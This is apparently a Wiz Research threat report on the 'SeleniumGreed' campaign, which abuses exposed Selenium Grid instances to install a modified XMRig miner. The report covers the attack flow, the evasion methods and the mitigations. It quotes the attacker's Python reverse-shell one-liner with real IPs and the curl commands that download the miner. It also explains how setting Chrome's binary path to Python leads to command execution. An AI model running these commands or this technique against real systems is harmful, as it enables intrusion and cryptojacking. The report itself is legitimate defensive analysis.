Wiz Research has detected an ongoing threat campaign that exploits exposed Selenium Grid services for cryptomining, dubbed “SeleniumGreed”.
Selenium is among themost commonly used testing frameworks. Our data shows that the technology can be found in 30% of cloud environments, and the official selenium/hub docker image has over 100 million pulls in Docker Hub.
Unbeknownst to most users, Selenium WebDriver API enables full interaction with the machine itself, including reading and downloading files, and running remote commands.
By default, authentication is not enabled for this service. This means that many publicly accessible instances are misconfigured and can be accessed by anyone and abused for malicious purposes.
We have identified a threat actor targeting publicly exposed instances of Selenium Grid and leveraging features of Selenium WebDriver API to run Python with a reverse shell to deploy scripts that download a XMRig miner.
The threat actor is still active as of this blog post’s date of publication.
We believe this is the first documentation of this misconfiguration being exploited in the wild.
Introduction
Wiz Research has detected an ongoing threat campaign dubbed “SeleniumGreed” that exploits exposed Selenium Grid services to deploy cryptominers. Selenium is a popular open-source suite used for testing web applications, allowing users to write tests that simulate user interactions across different browsers and environments.
Selenium Grid is a component within the Selenium suite. It provides a powerful API that allows users to launch and interact with web browsers on machines linked to it. Unbeknownst to most users, this API enables full interaction with the machine itself, including reading and downloading files, and running remote commands. Selenium Grid is designed for use in internal networks and lacks security controls by default. Ideally, such services should never be exposed to the internet.
Due to the lack of default authentication mechanism on this service, many exposed instances are misconfigured and can be accessed and exploited by malicious actors. This is particularly concerning given that it can easily lead to a critical security risk if the service is deployed on a publicly accessible node without tight network security policies. Surprisingly, as far as we can tell, this is the first report of this misconfiguration being exploited in the wild.
The threat actor has leveraged Selenium WebDriver API's features to run Python with a reverse shell to deploy scripts that download the miner. The miner is a modified XMRig miner packed with custom UPX headers. The threat actor employed various methods to remain untraceable, including using other compromised Selenium nodes' workloads as a C2 for hosting payloads and as a mining pool proxy.
In this blog, we will explain how threat actors can exploit exposed Selenium Grid services, detail the post-exploitation payload used by the attacker, and provide best practices for using Selenium.
Selenium Grid enables parallel execution of tests across multiple workloads, different browsers, and various browser versions. It is designed to distribute test execution load across multiple environments, which helps reduce the time required to run a large suite of tests and ensures that applications work consistently across different browser and OS combinations.
Selenium Grid consists of a hub and nodes. The hub manages the distribution of tests to the registered nodes, while the nodes are the machines where the tests are executed. A node can be any machine registered to the hub and capable of running a browser instance. Nodes can have different operating systems and browsers, providing flexibility and diversity in test environments.
Selenium Popularity
Selenium is highly favored among developers and testers, widely used across many organizations. For reference, the selenium/hub docker image has been pulled over 100 million times, with an average of more than 150,000 pulls per week.
Selenium's popularity extends to cloud environments as well. Our data shows that it is the most common testing framework, present in over 30% of cloud environments.
The risks of exposing Selenium to the internet
Selenium provides a WebDriver API that allows users to automate web browser user interaction. The API also enables different ways to interact with the underlying infrastructure of the nodes such as reading and downloading files and executing binaries of choice. Selenium Grid is not designed to be exposed to the internet and its default configuration has no authentication enabled, so any user that has network access to the hub can interact with the nodes via API. This poses a significant security risk if the service is deployed on a machine with a public IP that has inadequate firewall policy.
Although the Selenium website includes this warning about exposing Selenium Grid to the internet, it is evident that users often overlook this warning and deploy Selenium Grid without adequate network security controls.
In the malicious activity described in this blogpost, we witnessed the threat actor utilizing older versions of Selenium (v3.141.59) to run remote commands. However, we confirmed this is also possible on the latest versions (v4 and above) of Selenium Grid.
Below are statistics from FOFA on internet exposed Selenium Grid services running the outdated version (v3.141.59 and below):
The query revealed over 15,000 unique IPs in the past year, most of them running on the default port 4444, indicating that the container is directly exposed.
A query for newer versions produced similar results, with around 15,000 instances also listening on port 4444. This means there are more than 30,000 instances exposed to remote command execution.
Executing remote commands on older versions of Selenium (before v4)
ChromeOptions is a class in Selenium WebDriver designed to manage options specific to the Chrome driver. It allows adjusting the settings and capabilities of the browser when running automated tests on Chrome.
One of the options is setting the Chrome binary path, allowing users to perform tests using different browsers versions. Threat actors can abuse this feature to set the location of Chrome binary on the machine to be the path of any other binary, such as Python. This means that instead of Chrome binary, the WebDriver will execute a Python interpreter process. Another method that can be leveraged for exploitation is add_argument. This method is designed to add Chrome arguments as part of the binary execution (there are over a thousand arguments). Threat actors with access to a Selenium Grid instance can combine these methods to execute dynamic Python script code. Below is an example of a full exploit script:
Sending a Chrome WebDriver request will also generate default chrome flags. When running Python with the -c flag, any option after -c will simply be ignored (from python's help print: -c cmd : program passed in as string (terminates option list))
It is important to note that although the capability to set the Chrome binary location path was deprecated in later versions, we confirmed that the latest version of Selenium Grid is also vulnerable to remote command execution if exposed to the internet. At this time we will refrain from publicly sharing more information about this issue.
Attack flow
In the activity we observed, the threat actor sends a request to the vulnerable Selenium Grid hub, with Chrome binary path configured to /usr/bin/python3 and add argument set to pass Python program as a script. The script contains a base64 decoded payload. The payload creates a reverse shell [T1059.004], sets the HISTFILE environment variable to /dev/null to disable command logging for interactive shell sessions [T1562.003], and defines a new environment variable, TTT, set to 192[.]241.144.69:4447:
import os,pty,socket;s=socket.socket();s.connect(('164.90.149.104',9021));[os.dup2(s.fileno(),f)for f in(0,1,2)];os.putenv('HISTFILE','/dev/null');os.putenv('TTT','192.241.144.69:4447');pty.spawn('/bin/bash');s.close().
Below is the exploit process tree:
Next, the attacker creates a hidden script [T1564.001] with a random name composed of 8 characters under /tmp or /dev/shm (e.g., /dev/shm/.18a91ec2). The attacker then executes the script with sudo to gain the ability to run any command on the machine. By default, the seluser, which is the Selenium process user, can run sudo commands without requiring a password.
The following are some key actions performed by the script:
Downloads and executes the miner: It downloads the miner [T1105] (curl -s http://164[.]90.149.104:9022/xm2 -o /bin/xm) and the script responsible for running the miner (curl -s http://164[.]90.149.104:9022/wxm -o /bin/wxm) to the /bin directory. It ensures that only users with sudo privileges can read, write, and execute these files [T1222.002] (chmod 700 /bin/xm /bin/wxm).
Timestomping: The script changes the creation date of the downloaded files with the command touch -d Fri, 12 Jul 2019 15:26:41 -0400 /bin/xm /bin/wxm. Timestomping [T1070.006] is a technique used by threat actors to alter the timestamps of files they create, making them less noticeable to forensic investigators or file analysis tools.
Modify sudoers file to enforce a password for seluser: By default, seluser (the default Selenium user) can run sudo without the need of a password. The script checks if seluser already has a password enforced for sudo capabilities by running grep seluser ALL=(ALL) PASSWD: ALL on /etc/sudoers. If it does not, the script will add a password to seluser and modify /etc/sudoers to enforce a password. We assess that the threat actor’s intention is to limit other attackers targeting the instance with the same method to maximize CPU availability for cryptomining. This is a common tactic used by cryptomining threats.
The scripts and miner binary are all executed using nohup [T1564.011] to ensure they continue running even after the interactive session of the reverse shell ends.
After investigating the IP 164[.]90.149.104, we believe this IP belongs to a legitimate service that has been compromised by the threat actor [T1584.004], as it also hosts a publicly exposed Selenium Grid instance.
The miner binary
The miner is a XMRig miner [T1496] packed with UPX [T1027.002] (861f7deb8926bb0c6d11f8e81d27b406). The attacker used the custom UPX header, CATS, probably to avoid static detection engines that rely on the signature of the vanilla UPX! headers.
Interestingly, the threat actor modified the open-source XMRig miner code. Instead of hardcoding the pool IP in the miner configuration, they dynamically generate it at runtime 165[.]227.63.241:443. They also set XMRig's tls-fingerprint feature within the added code (and within the configuration), ensuring the miner will only communicate with servers controlled by the threat actor. The binary does not transmit the wallet to the pool. We suspect the pool address is a legitimate IP that has been compromised and is being used as a mining pool proxy service since this IP also hosts Selenium Grid.
Threat timeline
We assess that this attacker has been active for over a year, as we came across a reddit post describing what seems to be the same campaign. Based on our data, the campaign is still active.
Who is vulnerable?
Any version of the Selenium Grid service that lacks proper authentication and network security policies is vulnerable to remote command execution. Based on our data, the threat described in this blog is targeting Selenium v3.141.59, but it may evolve to exploit later versions as well, and other threat actors may already be doing so.
To protect your organization from this type of attack, consider taking the following steps:
Implement both an external network scanner and a vulnerability scanner to map exposure within your cloud environment.
Use runtime detection to address threats in real-time.
Apply network security controls, such as a firewall, to restrict network access:
Inbound: Allow only trusted IP ranges to access the service.
Outbound: Alllow outgoing traffic only to required endpoints.
Enable basic authentication to Selenium Grid instances. You can configure it by following this guide.
How can Wiz help?
Prevention
The Wiz Dynamic Scanner detects publicly exposed Selenium services within customers' cloud environments. The Wiz agentless workload scanner detects containers and VMs hosting Selenium server.
Detection
The Wiz Runtime Sensor detects events and behaviors associated with this threat and similar ones, alerting you as the adversary progresses through the attack kill chain: from the exploit and reverse shell to the initial payload delivery and ultimately to the final cryptomining activity.
Here is an example of the Wiz Runtime Sensor detecting a reverse shell used in a Selenium Grid exploit:
Wiz customers can use the pre-built queries and advisory in the Wiz Threat Center to search for vulnerable instances in their environment and detect if their environment was impacted by this threat.
Summary
We identified an active cryptomining campaign targeting older versions of Selenium Grid services that are exposed to the internet. The attacker employed various tactics to avoid detection and tracing, such as ensuring interactive shell history is not logged, timestomping, using custom UPX headers for packing the miner, avoiding hardcoding the pool proxy IP, and utilizing other compromised Selenium services as C2 server to host payloads and a mining pool proxy. While we have no evidence that recent versions of Selenium are being actively exploited by threat actors to execute remote commands, we have confirmed that it is possible.
Selenium is widely used by developers, and it is relatively easy to inadvertently expose it to the internet. Surprisingly, this is the first blog to detail such an attack. We have shared our findings with GreyNoise, and their data indicates other mining campaigns are also exploiting exposed Selenium Grid services.
These attacks underscore the necessity of having a robust security posture solution in place to assist security teams eliminate toxic risk combinations, along with a runtime protection solution that detects and responds to breaches in real-time.
Feel free to reach out to threat.hunters@wiz.io if you’ve been impacted by this activity or wish to exchange further information and IoCs that might assist in ongoing analysis.